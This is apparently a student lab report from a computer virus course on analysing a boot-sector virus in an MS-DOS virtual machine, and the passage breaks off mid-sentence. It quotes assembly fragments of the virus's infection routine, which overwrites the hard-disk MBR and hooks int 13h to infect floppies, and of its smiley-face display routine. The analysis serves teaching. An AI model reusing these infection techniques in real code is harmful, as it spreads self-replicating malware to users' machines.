东华大学计算机病毒实验一引导型病毒实验报告
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
实验一引导型病毒实验
1. 实验目的
通过实验,了解引导区病毒的感染对象和感染特征,重点学习引导病毒的感染机制和恢复感染染毒文件的方法,提高汇编语言的使用能力。
2. 实验内容
本实验需要完成的内容如下:
引导阶段病毒由软盘感染硬盘实验。通过触发病毒,观察病毒发作的现象和步骤,学习病毒的感染机制;阅读和分析病毒的代码。
DOS运行时病毒由硬盘感染软盘的实现。通过触发病毒,观察病毒发作的现象和步骤,学习病毒的感染机制;阅读和分析病毒的代码。
3. 实验环境
VMWare Workstation 5.5.3
MS-DOS 7.10
4. 实验步骤与结果
第一步:
1、打开VMware Workstation,新建虚拟机,过程如下:
然后点next,点NEXT, 硬盘大小可自行分配,大概1G左右就ok,一直到完成为止。
第二步:
1.安装MYDOS
2.启动虚拟机电源,自动从虚拟软驱进入安装过程,一路点NEXT,AGREE到为虚拟机系统生成一块fat32的硬盘区,点击,然后reboot。
3.再次进入安装引导过程,一路点NEXT,AGREE到重写MBR 选yes,而后选择安装目录C:\dos71目录。在选择DOS commands only安装。并取消DOS add-on 的安装复选项。然后一路点NEXT,AGREE。
选择enable umb memory
在下一个页面里选择load both cd/dvd 和IDE/ATAPI
第三步:步骤如课本实验一
1.运行虚拟机,检查目前虚拟硬盘是否含有病毒。2.将virus.img加入软驱,运行虚拟机:
3、删除虚拟软盘,通过硬盘引导
按任意键进入DOS系统
4、通过命令format A:/q 快速格式化软盘。
5、软驱中加入empty.img引导。如下:
5. 病毒代码分析
i. 传染模块主要代码及传染过程说明;
inc cx ;cx此时为1,为2
mov ds:[si+offset reg_cx],cx
mov ax, 0301h ;写入一个扇区
mov dx, 0080h ;写入硬盘1的0面
int 13h ;开始写入
jb boot_dos ;不成功转到boot_dos
mov cl, 21h ;准备搬移33个字
mov di, 01beh ;从内存高端的03beh搬移到
mov si, 03beh ;内存高端的01beh,此处正是病毒程序的驻留区rep movsw ;开始搬移
mov ax, 0301h ;准备向硬盘写入一个扇区
xor bx, bx
inc cx ;cx置1
int 13h ;写入物理硬盘0面0道1扇区
call near ptr install ;安装病毒的int 13h
mov dx, 0080h ;读硬盘0head
int 13h ;开始读取//*** 读取正常的引导扇区,以备安装病毒的int 13h 后正常启动
call near ptr install
传染过程说明:
先判断机器从哪里启动,如是从硬盘启动,直接安装病毒到int 13h,通过int 13h 感染软盘。读取软盘0面0道1扇区到病毒常驻段偏移地址为0200h,读取成功转read_succ处理,否则软驱复位。读取操作次数减1,不为0再次读取,否则退出。读取成功后,以vir_init处一个字的机器码为特征码进行比较,判断软盘是否已经染毒,如果未染毒,则进行传染。若已染毒,则退出。
若是从软盘启动,需传染硬盘。将读到的正常引导记录保存道0道2扇,写入一个扇区,再写入硬盘1的0面,写入不成功转到boot_dos,判断是否已被传染。写入成功则准备替换引导扇区,保留硬盘分区表,准备搬移33个字,从内存高端的03beh搬移到内存高端的01beh,搬移后将cx置1,写入物理硬盘0面0道1扇区。
ii. 表现模块的主要代码及现象说明;
waitstart:
loop waitstart
call clearstr //显示空字符串,抹去刚画的笑脸符
mov ax,0100h
int 16h
jz nextloop
ret
;调用10h中断将字符串打印到屏幕上
dispstr:
mov ax, cs
mov es, ax
mov ax, offset bootmessage
mov bp, ax ; es:bp = 串地址
mov cx, 5 ; cx = 串长度
mov ax, 01301h ; ah = 13, al = 01h
mov bx, 000ch ; 页号为0(bh = 0) 黑底红字(bl = 0ch,高亮)
mov dh, 5
mov dl, col
int 10h ; 10h 号中断
ret
;用空格清除上一次的输入
clearstr:
mov ax, cs
mov es, ax
mov ax, offset clearmessage
mov bp, ax
mov cx, 5
mov ax, 01301h
mov bx, 000ch
mov dh, 5
mov dl, col
int 10h
ret
现象:黑屏幕上笑脸符自左自右反复显示,有动态效果。
iii.说明该病毒触发传染的条件;
病毒会将正常的引导记录存在:硬盘,0面0道2扇区。取出的地址如果不